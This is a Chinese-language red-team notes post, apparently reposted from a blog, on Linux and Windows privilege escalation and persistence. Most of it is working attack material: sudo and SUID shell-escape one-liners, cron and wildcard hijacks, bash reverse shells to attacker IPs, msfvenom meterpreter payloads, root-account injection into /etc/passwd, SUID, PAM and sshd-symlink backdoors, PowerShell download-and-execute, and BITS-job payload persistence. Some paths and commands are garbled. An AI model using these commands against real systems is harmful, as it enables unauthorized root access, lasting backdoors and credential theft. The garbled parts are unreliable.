权限提升和维持
Posted FisrtBqy
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了权限提升和维持相关的知识,希望对你有一定的参考价值。
HVV笔记——权限提升和维持
- 1 Linux权限提升
- 2 Linux权限维持
- 3 Windows权限提升
- 4 Windows权限维持
权限提升Privilege Escalation:普通用户→root(管理员)用户
权限维持:开个后门
1 Linux权限提升
1.1 内核提权
内核提权是利用Linux内核的漏洞进行提权的。一般包括三个环节:
- 对目标系统进行信息收集,获取到系统内核信息以及版本信息;
- 根据内核版本获取其对应的漏洞以及EXP;
- 使用找到的EXP对目标系统发起攻击,完成提权操作。
1.1.1 内核与发行版
Linux内核版本:
https://www.kernel.org
查看Linux操作系统的内核版本和相关信息:
cat /etc/issue 查看ubuntu的版本
cat /etc/*-release 查看centos的版本
uname -a 查看系统全部信息
uname -r 查看内核版本
1.1.2 内核漏洞
-
Dirty COW(Copy On Write) CVE-2016-5195
-
Dirty Pipe CVE-2022-0847
-
Dirty Cred CVE-2022-2588
-
Linux Polkit CVE-2021-4034
-
CVE内核漏洞查询
https://www.cvedetails.com/product/47/Linux-Linux-Kernel.html?vendor_id=33
1.1.3 漏洞利用
根据前面查询到的内核版本号在Kali中查找
msfconsole
searchsploit linux 3.10
然后根据显示出来的Path
,复制该文件到当前目录,比如
searhsploit -m 1024.c
至于漏洞利用就搜寻互联网吧。
1.2 SUDO提权
SUDO=Super User Do(以root身份运行程序)
1.2.1 提权原理
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etc/sudoers中进行操作,编辑方法(root权限):visudo
具体的格式如下:
1.2.2 命令的权限
有些命令设置了可以无密码sudo,可以执行以下命令查看(需要一定的权限或者知道当前用户的密码):
cat /etc/sudoers
sudo -l
1.2.3 权限提升
如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、
bash、less、awk、man、vi、env、ftp、ed、screen
比如sudoers
文件中添加了以下内容:
hacker ALL=(root) NOPASSWD:/usr/bin/awk
hacker ALL=(root) NOPASSWD:/usr/bin/vim
hacker ALL=(root) NOPASSWD:/usr/bin/man
hacker ALL=(root) NOPASSWD:/usr/bin/less
hacker ALL=(root) NOPASSWD:/usr/bin/find
hacker ALL=(root) NOPASSWD:/usr/bin/zip
hacker ALL=(root) NOPASSWD:/usr/bin/git
提权的命令:
#################################
#**********一条命令提权的**********#
#################################
sudo vim -c '!sh'
sudo awk 'BEGIN system("/bin/sh")'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \\;
#################################
#**********两条命令提权的**********#
#################################
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh
1.2.4 提升复现
在sudoers
文件中添加如下命令,使得当前普通用户具有find
命令的sudo权限:
xuni ALL=(root) NOPASSWD:/usr/bin/find
切换到当前普通用户,执行如下命令:
sudo find /etc/passwd -exec /bin/sh \\;
即可获得root权限
1.2.5 堆缓冲区溢出漏洞
该漏洞是sudo工具基于堆缓冲区溢出漏洞,漏洞编号为CVE-2021-3156。
漏洞概述
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
影响范围
- sudo 1.8.2-1.8.31p2
- sudo 1.9.0-1.9.5p1
漏洞复现
查看sudo版本
sudo -V
简单测试漏洞是否存在:
- 如果返回
sudoedit: /: not a regular file
,则当前系统可能存在安全风险; - 若显示以
usage:
开头的错误,则为不受影响的系统。
sudoedit -s /
比如此次测试的sudo版本虽然是1.8.23,但是不存在类似漏洞
如果存在漏洞,可以执行以下命令测试:
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
###### list targets
./sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich <target_number>
有篇文章提供了另一个思路,但是本人没有复现成功。实战中的sudo提权漏洞的使用姿势(CVE-2021-3156)
1.3 SUID提权
SUID=Set UID(以程序所有者身份运行程序)
1.3.1 SUID权限
SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的:
注意
- 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义
- 命令执行者要对该程序文件拥有执行(x)权限
- 命令执行者在执行该程序时获得该程序文件属主的身份
- SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID
chmod u+s filename 设置SUID
chmod 4755 filename 设置SUID
chmod u-s filename 去掉SUID设置
1.3.2 SUID提权原理
利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令。
常见的可以用来提权的命令如下:
nmap
vim
find
bash
more
less
nano
cp
awk
mv
1.3.3 查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls \\; 2>/dev/null
一、find / -user root -perm -4000 -print 2>/dev/null
-
find
是查找文件的命令 -
/
是从根目录开始查找 -
-user root
是文件的所属者是root -
-perm -4000
-perm匹配权限 4000 2000 1000分别表示SUID SGID SBIT 1.普通文件,文件的权限一般三位,777最高文件权限 -perm -0777搜索的就是最高权限的文件rwxrwxrwx -perm +0777搜索的只要包含rwxrwxrwx任意一个的文件 2.特殊文件,包含权限位置四位,7000为最高,即–s–s–t,同样的方法 -perm -7000搜索的就是最高权限的文件–s–s–t -perm +7000搜索的只要包含–s–s–t任意一个的文件,–s — —(4000)、— –s —(2000)、— — – t(1000)等
-
-print 2>/dev/null
将标准错误输入到/dev/null文件
二、find / -perm -u=s -type f 2>/dev/null
-perm -u=s
查找有s权限-type f -type b/d/c/p/l/f
查是块设备、目录、字符设备、管道、符号链接、普通文件
三、find / -user root -perm -4000 -exec ls \\;
-user root
是文件的所属者是root
-exec ls -ldb ;
执行ls -ddb
命令
1.3.4 提升复现
以下命令都是默认没有开启suid权限的,需要用户开启。
find
touch anyfile #必须要有这个文件
find anyfile -exec whoami \\; #普通用户
find . -exec /bin/sh -p \\; -quit #root用户
bash
bash命令是用来打开一个shell。同时它也有执行命令的能力。
vim
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
方式一,利用vim添加账号:
vim /etc/passwd #添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow #添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: #密码是123456
方式二,利用vim打开交互shell:
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
python
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
perl
echo 'exec("/bin/sh")' > a.pl
perl a.pl
wget curl
sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd
sudo curl http://192.168.56.1:8080/passwd -o /etc/passwd
awk
awk 'BEGINsystem("/bin/bash")'
nmap
nmap的2.02-5.21版本具有
--interactive
选项,可以进入交互模式执行系统命令
nmap --interactive
!sh
echo 'os.execute("/bin/sh")' > fuck_root.nse
nmap --script=fuck_root.nse
1.3.5 反弹 shell
前提:目标机的bash命令具有suid权限。
攻击机:kali2022 192.168.101.131
目标机:centos7.9 192.168.101.130
攻击机开启端口监听:
nc -lvp 8888
目标机反弹shell:
bash -i >&/dev/tcp/192.168.101.131/8888 0>&1
攻击机获取shell后提权:
bash -p
1.4 第三方服务提权
Redis、NFS、mysql、Docker、Git……
提权辅助器
1.4.1 linux-exploit-suggester
下载
git clone https://github.com/The-Z-Labs/linux-exploit-suggester.git
#或者
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
使用
#1.评估当前Linux在公开的已知漏洞上的曝光情况:
$ ./linux-exploit-suggester.sh
#2.显示当前Linux机器上安全功能的状态
$ ./linux-exploit-suggester.sh --checksec
#3.根据提供的'uname'字符串(即uname -a命令的输出)评估Linux内核在公开已知漏洞中的暴露情况
$ ./linux-exploit-suggester.sh --uname <uname-string>
另一个版本
git clone https://github.com/jondonas/linux-exploit-suggester-2.git
chmod +x linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
1.4.2 LinEnum
git clone https://github.com/rebootuser/LinEnum.git
chmod +x /tmp/linEnum.sh
sh /tmp/LinEnum.sh > /tmp/getinfo.txt
1.5 计划任务提权
1.5.1 计划任务
Linux计划任务命令如下:
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
计划任务的文件夹在/etc/cron*
下:
计划任务的格式
分 时 日 月 周 用户 命令
1.5.1 提权原理
linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权。
假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下:
find / -user root -perm -4000 -print 2>/dev/null #查找SUID文件
find / -perm 777 -print 2>/dev/null #查找777文件
1.5.2 提权准备
-
先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准
备一个sh文件或者python文件都可以,我们写一个linux运维脚本bash_os.sh
,来监控当前电脑的运行参数:function bash_os() # "系统基础信息" #内核信息 kernel=$(uname -r) #操作系统版本 release=$(cat /etc/redhat-release) #主机名称 hostname=$HOSTNAME #当前时间及运行时间 dateload=$(uptime | awk -F "," 'print $1') # 当前登录用户数 users=$(uptime | awk -F "," 'print $2') echo -e "\\n\\033[32m############## 系统基础信息 #######\\033[0m\\n" >> /tmp/bash_os.txt echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt echo -e "|内核信息:\\033[31m $kernel \\033[0m" >> /tmp/bash_os.txt echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt echo -e "|操作系统版本:\\033[31m $release \\033[0m" >> /tmp/bash_os.txt echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt echo -e "|当前时间及运行时间:\\033[31m $dateload \\033[0m" >> /tmp/bash_os.txt echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt echo -e "|当前登录用户数:\\033[31m $users \\033[0m" >> /tmp/bash_os.txt echo -e "\\033[32m------------------------------------\\033[0m" >> /tmp/bash_os.txt bash_os
-
将文件的权限设置成777
chmod 777 bash_os.sh
-
该脚本运行后的内容写到
/tmp/bash_os.txt
文件中 -
将文件设置成计划任务,编辑内容如下,一定是普通用户:
vim /cat/crontab #分 时 日 月 周 用户 命令 */1 * * * * root /bash_os.sh
service crond status 查看计划任务启动 service crond restart 重启计划任务
1.5.3 提权复现
-
需要先拿到一个webshell,或者MSF的shell,或者CS的shell。这里使用MSF的shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.101.130 LPORT=8888 -f elf > mshell.elf
-
将生成的
mshell.elf
上传到靶机里 -
攻击机打开msfconsole,执行如下命令
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.101.130 set lport 8888 run
-
查询计划任务,发现存在一个sh文件并且是root运行的
vim /cat/crontab
-
接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权
ls -al /bash_os.sh #输入反弹shell的命令在sh文件中进行追加 echo "bash -i >& /dev/tcp/192.168.101.131/9876 0>&1" >> /bash_os.sh
-
使用NC接收等待反弹shell的连接,得到root权限
1.6 环境变量劫持提权
1.6.1 提权原理
PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:
echo $PATH
攻击者可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的。
1.6.2 提权准备
假设管理员用户在/home目录下创建了一个demo.c文件,内容如下(执行查看shadow文件命令,setuid规定了其运行用户,以root权限进行编译和权限设置)
#include<unistd.h>
void main()
setuid(0);
setgid(0);
system("cat /etc/shadow");
然后使用gcc编译
gcc demo.c -o shell
运行./shell
就是打开shadow文件
赋予shell文件SUID权限
1.6.3 提权复现
同1.5一样,先上线靶机,用命令查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
echo "/
发现一个shell文件(位置为/home/shell
),运行发现是查看/etc/shadow
的命令。
那么我们劫持cat命令,达到提权的目的
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami
1.7 利用通配符(WS)进行提权
1.7.1 提权原理
在LINUX中通配符可以被用来模糊匹配,而且通配符的输入是由当前用户的shell去进行解析
* 代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]
如果创建三个文件:
echo "1" > file1
echo "2" > file2
echo "3" > --help
接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help
的命令,这种类型的技巧称为Wildcard wildness。
如果执行ls *
就会执行ls --help
为利用这个漏洞,需要用到tar这个命令。首先,tar命令可以使用通配符进行压缩
tar -czf html.tgz *.html 将文件所有html文件压缩成html.tgz
在tar中有执行linux命令的参数如下
tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami
1.7.2 提权准备
一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务任务,如果滥用了通配符,就可能导致提权
*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*
首先上线靶机,并且发现靶机中有计划任务,是滥用通配符的,而且是root权限才可以。
1.7.3 提权复现
在/var/www/html下创建两个文件如下
echo " " > /var/www/html/--checkpoint=1
echo " " > /var/www/html/--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.41.211/8888 0>&1" > /var/www/html/shell.sh
攻击机使用NC进行监听即可。
1.8 破解明文密码提权
1.8.1 提权原理
/etc/passwd是全用户可读,root可写的。/etc/shadow是仅root可读写的。如果管理员的passwd和shadow一些权限配置不当,就可能被破解密码。
1.8.2 提权准备
目标机的shadow文件需要:
1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限
1.8.3 提权复现
直接破解就行了。
比如使用john
john -wordlist=2.txt + shadow.txt
1.9 MySQL提权
这里借记下大佬的文章:MySQL提权
2 Linux权限维持
防止杀毒、杀进程、关端口、打补丁等操作
前提条件:假设在攻击的过程中通过利用各种getshell,已经拿到目标服务器root权限
2.1 webshell
各种编程语言的木马。
2.2 定时任务(计划任务)
crontab -u root -l #查看
crontab -u root -r #删除
crontab -u root -e #添加
比如添加如下定时任务
* * * * * bash -i >& /dev/tcp/攻击机的IP/端口号 0>&1
Kali中开启监听即可
nc -lvvp 端口号
2.3 SUID后门
使用root用户执行如下命令,将bash复制为一个隐藏文件并赋予相应权限
cp /bin/bash /var/.hack
chmod 4775 /var/.hack
ls -al /var/.hack
这时使用普通用户执行如下命令即可得到root身份
/var/.hack -p
2.4 SSH Key免密登录
攻击机生成一对密钥,此处用Kali
ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub
将Kali生成的公钥写入到目标机
cd /root/.ssh
vim authorized_keys
当然,正常情况下是利用漏洞写入。
然后连接即可
#Kali机器
ssh root@目标机IP
2.5 添加用户
往shadow文件里添加。
首先生成密码
openssl passwd -1 -salt admin 123456
## -1 的意思是使用md5crypt加密算法
## -salt 指定盐为admin
## 123456 明文密码
追加的方式添加用户(UID=0)
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd
这时攻击机即可连接
ssh root@目标机IP
2.6 PAM后门
登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。
-
在 centos7 环境下,首先需要关闭 selinux 和临时关闭 setenforce 0。
setenforce 0
-
查看pam版本号
rpm -qa|grep pam
-
下载并解压对应版本的pam源码包
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz tar -zxvf Linux-PAM-1.1.8.tar.gz
-
安装gcc编译器和flex库
yum install gcc flex flex-devel -y
-
留 PAM 后门和保存 ssh登录的账户密码
修改 Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 源码实现自定义密码认证和保存登录密码:
cd Linux-PAM-1.1.8 vim modules/pam_unix/pam_unix_auth.c
-
编译
cd ../../ ./configure make
-
备份和替换原有的 pam_unix.so
cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so
-
登录测试
ssh root@目标机IP
2.7 PAM软链接
2.7.1 PAM介绍
PAM认证一般遵循这样的顺序:Service(服务)→PAM(配置文件)→pam_*.so。PAM认证首先要确定那一项服务,然后加载相应的PAM的配置文件(位于/etc/pam.d下),最后调用认证文件(位于/lib/security下)进行安全认证,用户访问服务器的时候,服务器的某一个服务程序把用户的谁请求发送到PAM模块进行认证。对于不同的服务器应用程序所对应的PAM模块也是不同的。
查看支持PAM的程序
ls /etc/pam.d
2.7.2 软链接介绍
软连接称之为符号连接(Symbolic Link),也叫软连接。软链接文件有类似于Windows的快捷方式。它实际上是一个特殊的文件。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。
ln -fs 原文件 目标文件
ln -fs /var/www/1.txt test.txt
########
-f, --force #强行删除任何已存在的目标文件
-s, --symbolic #制作符号链接而不是硬链接
2.7.3 后门原理
ssd软连接是 Linux下很经典的一种权限维持方法,其中涉及的一个比较重要的模块是pam_rootok.so
模块,
pam_rootok.so
模块的功能是若用户UID是0,返回成功,当 /etc/pam. d/ssh
文件配置了auth sufficient pam_rootok.so
时可以不需要密码登录。当在被控制端执行命令
ln -sf /usr/sbin/shd /tmp/su;/tmp/suoPort=
1234
建立shd的软连接后门,PAM认证时会根据软连接的名字到/etc/pam. d
目录寻找对应到PAM认证文件,由于软连接的文件名为“su”,所以SSH的认证文件就被替换成了/ 'etc/pam. d/su
,而“su”中默认配置了auth sufficient pam_rootok.so
,从而导致SSH可以不需要密码登录。
2.7.4 软连接维持
首先判断目标机SSH是否开启了PAM认证
cat /etc/ssh/sshd_config|grep UsePAM
查看pmd.m文件下哪些文件配置了pam_rootok
find /etc/pam.d |xargs grep "pam_rootok"
以root权限建立软连接
ln sf
/usr/sbin/sshd /tmp/chsh;/tmp/chsh oPort=
23333
#建立sshd的软链接,并更改端口为23333
进行登录
ssh root@[IP地址] -p [后门端口] 不需要密码
3 Windows权限提升
windows提权一般是提权到administrator或者system权限,在Windows中的用户账号一般分为以下几个:
1、本地普通用户
2、本地一般管理员
3、本地最高管理员
4、域内普通用户
5、域内管理员
新建的用户一般默认是user组。
比如使用如下命令创建一个用户(必须是管理员打开的cmd)
net user hack admin@123 /add
3.1 系统内核溢出漏洞提权
溢出提权是指攻击者利用系统本身或系统中软件的漏洞来获取 Windows操作系统System权限,其中溢出提权又分为远程溢出和本地溢出。远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程服务器的 Windows操作系统Systen权限。本地溢出是主流的提权方式,通常需要向服务器上传本地溢出程序,然后在服务器执行,如果系统存在漏洞,那么将会溢出获得 Windows操作系统System权限。
3.1.1 缓冲区提权的步骤
- 信息收集,例如查看当前权限,查看版本、补丁等
- 根据收集到的信息确定可利用漏洞
- 根据漏洞查找EXP
- 使用EXP提权。
获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁
#查看系统信息
systeminfo
#查看所安装的补丁的详细信息
wmic qfe get caption,description,hotfixid,installedon
#查看当前用户的权限
whoami /groups
3.1.2 常见补丁对应漏洞
https://github.com/SecWiki/windows-kernel-exploits
使用方法:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
#更新数据库
./windows-exploit-suggester.py --update
#安装依赖
pip install xlrd --upgrade
#将systeminfo信息与数据库对比
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
#查询指定系统可能有的漏洞
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --ostext 'windows server 2008 r2'
3.1.3 使用msf提权
使用MSF提权必选先上线到MSF然后使用如下的插件进项提权扫描
getsystem 提权 一般是将管理员提升到system
use post/windows/gather/enum_patches
use post/multi/recon/local_exploit_suggester
首先利用msf生成的shell上线靶机
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe #(32位)
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe #(64位)
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit
使用getsystem命令自动提权
meterpreter > getsystem
使用脚本检测可以利用的提权模块
use post/multi/recon/local_exploit_suggester
set session ID
run
3.1.4 在线辅助提权
https://i.hacking8.com/tiquan
http://bugs.hacking8.com/tiquan/
3.1.5 wesng提权
这里借MS16-032来演示
wesng是帮助检测Windows安全缺陷的辅助攻击,是Windows Exploit Suggesters的升级版,通过读取加载systeminfo
命令的结果来输出漏洞利用建议。
将wesng下载到本地主机上,先升级最新的漏洞数据库。
python wes.py --update
将目标机器的systeminfo命令的结果输出并保存,使用wesng进行检查。
python wes.py systeminfo.txt
下载https://www.exploit-db.com/exploits/39719里面的漏洞利用
Powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:8000/ms16-032.ps1');Invoke-MS16-032
python wes.py systeminfo.txt --impact "Remote Code Execution"
python wes.py systeminfo.txt --impact "Remote Code Execution" -e
3.1.6 EXP如何搜索
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/SecWiki/windows-kernel-exploits
Window权限维持:BITS Jobs
Windows操作系统包含各种实用程序,系统管理员可以使用它们来执行各种任务。这些实用程序之一是后台智能传输服务(BITS),它可以促进文件到Web服务器(HTTP)和共享文件夹(SMB)的传输能力。Microsoft提供了一个名为“ bitsadmin ” 的二进制文件和PowerShell cmdlet,用于创建和管理文件传输。
从攻击的角度来看,可以滥用此功能,以便在受感染的主机上下载有效负载(可执行文件,PowerShell脚本,Scriptlet等)并在给定时间执行这些文件,以在红队操作中保持持久性。但是,与“ bitsadmin ” 进行交互需要管理员级别的权限。执行以下命令会将恶意有效负载从远程位置下载到本地目录。
bitsadmin /transfer backdoor /download /priority high http://10.0.2.21/pentestlab.exe C: mppentestlab.exe
?
Bitsadmin –文件传输
还有一个PowerShell cmdlet可以执行相同的任务。
Start-BitsTransfer -Source "http://10.0.2.21/pentestlab.exe" -Destination "C: mppentestlab.exe"
?
BitsTrasfer –传输文件PowerShell
将文件放入磁盘后,可以通过从“ bitsadmin ”实用程序执行以下命令来实现持久性。用法非常简单:
- 在创建参数需要作业的名称
- 该addfile需要文件的远程位置和本地路径
- 该SetNotifyCmdLine将执行的命令
- 所述SetMinRetryDelay定义时间回调(秒)
- 该简历参数将运行位工作。
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe" "C: mppentestlab.exe"
bitsadmin /SetNotifyCmdLine backdoor C: mppentestlab.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
?
持久性—BITS Jobs
当作业在系统上运行时,有效负载将被执行,Meterpreter会话将打开,或者通信将被接收回命令和控制(取决于场合中使用的C2)。
?
持久性– BITS Jobs Meterpreter
参数SetNotifyCmdLine也可以用于通过regsvr32实用程序从远程位置执行scriptlet 。这种方法的好处是它不会接触磁盘,并且可以避开将应用程序列入白名单的产品。
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.0.2.21:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
?
BITS Jobs – Regsvr32
Metasploit框架可用于通过Web交付模块捕获有效负载。
use exploit/multi/script/web_delivery
set target 3
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.21
exploit
?
BITS Jobs – Regsvr32
译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。
原文地址:https://pentestlab.blog/2019/10/30/persistence-bits-jobs/
以上是关于权限提升和维持的主要内容,如果未能解决你的问题,请参考以下文章